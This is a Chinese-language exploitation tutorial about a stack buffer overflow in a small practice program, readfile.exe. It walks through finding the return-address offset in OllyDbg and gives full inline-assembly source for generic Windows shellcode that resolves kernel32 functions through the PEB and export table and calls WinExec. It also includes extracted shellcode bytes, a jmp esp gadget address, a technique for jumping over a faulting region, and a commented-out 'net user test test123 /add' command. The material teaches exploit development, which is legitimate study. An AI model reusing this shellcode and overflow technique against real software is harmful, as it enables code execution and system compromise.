一个简单的小程序漏洞分析与利用

正文

说明: readfile.exe是漏洞程序,它读取c:overflow.txt文件,并将文件内容以对话框的形式弹出来。

分析过程:

第一步:

在overflow.txt文本中输入1234使用readfile.exe打开,程序正常执行。在文本中输入11112222333344445555666677778888,使用readfile.exe打开,结果如下:

1111

程序出现异常。由分析可知,当文件的内容过长时,会导致程序出现问题,当文件过长时,文件内容会将函数的堆栈中的返回地址覆盖,导致程序不能正常返回,出现异常。

第二步:

使用OD加载readfile.exe,进行跟踪,定位MessageBoxA的位置,设置断点。如下:

2222

按F9键,执行程序,程序停在断点处,继续按F9

3333

单击确定是程序继续执行,停在断点77D50830处,F7单步跟踪,程序到上层函数:

4444

当执行到00401051是观察函数堆栈如下:

5555

可知TXT文本的偏移13处会覆盖返回地址。

第三步:

(1) 编写通用弹出计算器的程序代码并提取shellcode

#include "stdio.h"

int main ( )

{

unsigned int KerdllAddress ; //定义kernel32的地址

unsigned int GetProcessAddr ; //定义函数地址

unsigned int loadlibrarya    ;

unsigned int WinExecAddress ;      //执行cmd令的地址

char    * ShellCodeAddr = 0 ;      //shellcode 地址

unsigned int ShellCodeSize = 0 ;    //shellcode的大小;

__asm

{

//---------------------------------------------------------------------------------

//获取ShellCode的内存起始地址和代码大小,以便打印输出

PUSHAD

JMP L1

L2 :

POP ESI

MOV ShellCodeAddr , ESI    ; 获得 ShellCode 起址

LEA ECX , ShellCodeE    ; 计算 ShellCode 代码长度

LEA EDX , ShellCodeB

SUB ECX , EDX

MOV ShellCodeSize , ECX

POPAD

JMP ShellCodeE

L1 :      CALL L2      ; 此处将程序下条地址即 shellcode 开始地址压栈,上面指令 pop esi 得到此地址

//原始shellcode

ShellCodeB :

mov eax , fs : 30h        ; PEB 的地址

mov eax , [ eax + 0ch ]    ; LDR 的地址

mov esi , [ eax + 1ch ]

lodsd

mov edi , [ eax + 08h ]      ; xp 下可以用 win7 下不可用

//win7 下获得kernel32地址

/*    xor ecx, ecx

next_module:

mov ebp, [esi + 0x8]

mov edi,[esi+0x20]

mov esi ,[esi]

cmp [edi+12*2],cx

jne next_module

mov edi,ebp*/

mov KerdllAddress , edi      ; 获得 kernell32 的基址

; 下面获得函数地址

mov eax , [ edi + 3ch ]      ; eax 为 pe 首部偏移地址 eax = f0

mov edx , [ edi + eax + 78h ]

add edx , edi            ; edx 为导出表地址

mov ecx , [ edx + 18h ]          ; 到处表函数的个数

mov ebx , [ edx + 20h ]

add ebx , edi      ; 导出表函数名地址 , addressofname

search :

dec ecx

mov esi , [ ebx + ecx * 4 ]

add esi , edi

mov eax , 50746547h      ; GetProcAddress

cmp [ esi ] , eax          ; 比较 PteG

jne search

mov eax , 41636f72h

cmp [ esi + 4 ] , eax        ; 比较 Acor

; 如果是 GetProcA ,表示找到该函数

jne search

mov ebx , [ edx + 24h ]

add ebx , edi      ; 序号数组地址 addressof

mov cx , [ ebx + ecx * 2 ]

mov ebx , [ edx + 1ch ]

add ebx , edi

mov eax , [ ebx + ecx * 4 ]

add eax , edi    ; 利用序号

mov GetProcessAddr , eax      ; 得到 GetProcess 的地址

; 先获得 LoadLibraryA 的地址

call _loadlibrary

_emit 'L'

_emit 'o'

_emit 'a'

_emit 'd'

_emit 'L'

_emit 'i'

_emit 'b'

_emit 'r'

_emit 'a'

_emit 'r'

_emit 'y'

_emit 'A'

_emit 0

_loadlibrary :

push KerdllAddress

call GetProcessAddr    //;调用GetProcess函数 获得LoadLirary函数的地址(GetProcessAddr(hMoudle,lpProcName))

mov loadlibrarya , eax

; 获得 WinExec 的地址

call _WinExec

_emit 'W'

_emit 'i'

_emit 'n'

_emit 'E'

_emit 'x'

_emit 'e'

_emit 'c'

_emit 0

_WinExec :

push KerdllAddress

call GetProcessAddr    //调用函数获得的函数地址

mov WinExecAddress , eax

; 调用 WinExec 弹出计算器    WinExec ( "net user test test123 /add" , SW_HIDE ) ;

push 1

call _calc

_emit 'c'

_emit 'a'

_emit 'l'

_emit 'c'

_emit '.'

_emit 'e'

_emit 'x'

_emit 'e'

_emit 0

_calc :

call WinExecAddress

ShellCodeE :

}

//提取shellcode;

FILE * file ;

int i ;

file = fopen ( "shell.txt" , "w" ) ;

fprintf ( file , """ ) ;                        //"为“"”的转义,下面也有类似的

for ( i = 0 ; i < ShellCodeSize ; i ++ )

{

if ( i % 16 == 0 && i != 0 ) fprintf ( file , ""n"" ) ;

fprintf ( file , "x%02x" , ( unsigned char ) ShellCodeAddr [ i ] ) ;

}

fprintf ( file , """ ) ;

return 1 ;

}

提取的shellcode如下:

6666

(2) Shellcode利用

在kernel32.dll中的0x7c874413处找到一条jmp esp指令的地址,并将其写在定位的函数与堆栈返回地址处,并在其后加上(1)中提取的shellcode,如下:

7777

使用OD打开程序测试结果,结果如下:

8888

发生异常的地址就是上图shellcode中圈黑框的数据,如图0-7,由分析可知由于shellcode数据太长导致程序不能正常执行。

经过分析,给出两种解决办法

方法一:使用硬编码,缩短shellcode长度

直接找到函数WinExec函数的地址0x7c86250d

#include "windows.h"

#include "stdio.h"

int main ( )

{

//WinExec("calc.exe",SW_SHOW);

//printf("%x",WinExec);

__asm

{

push 1

call _calu

_emit 'c'

_emit 'a'

_emit 'l'

_emit 'c'

_emit '.'

_emit 'e'

_emit 'x'

_emit 'e'

_emit 0

_calu :

mov eax , 0x7c86250d

call eax

}

return 1 ;

}

提取shellcode如下:

"x6ax01xe8x09x00x00x00x63x61x6cx63x2ex65x78x65x00"

"xb8x0dx25x86x7cxffxd0"

将shellode写入文件,执行结果如下:

9999

方法二:不使用硬编码缩短shellcode,而是通过跳过shellcode异常处。

由于硬编码方式的通用性较差,所以不太可取,通过图0-8的shellcode异常分析可知,产生异常的原因是shellcode的中的数据时程序执行发生了不可读的地址,于是先试探性将发生异常的shellcode处的数据更改为一个可执行的地址处(此处改成程序的入口地址0x004011e1),新构造的数据如下:

111111

使用OD加载程序,跟踪调试,发现程序在执行函数时未发生异常,当返回时发生异常,此时异常出现的的位置和一开始相同,如下图:

111112

111113

由截图可知,下条执行地址,就是我们数据中的jmp esp的地址,接下来执行shellcode。可见将在异常处的shellcode数据改为一条可执行的地址程序还会正常到返回地址处。于是,构造数据,shellcode数据异常处后面放上要执行的shellcode(经过跟踪分析,得知出现异常的原因是程序执行后执行了一条call ecx指令,而ecx中的值就是异常出现的shellcode数据),之前放置一条跳转指令,向后跳过四个字节(即异常的四个字节),就可以正常执行shellcode代码,构造数据如下:

111114

(注释:上图绿框中的shellcode是(1)中提取的通用性shellcode) 执行程序,结果如下:

111115

可知shellcode跳过异常点,正常执行“真正的功能shellcode代码“。 说明:此程序对shellcode代码不进行字符串’0’截断,如果程序对字符串进行截断,通过跳过shellcode异常点,也会有足够的堆栈空间来对加密后的shellcode进行解密,实用性相对较高。

其中的readfile.exe程序可到此处下载:

http://pan.baidu.com/s/1o6oLHCu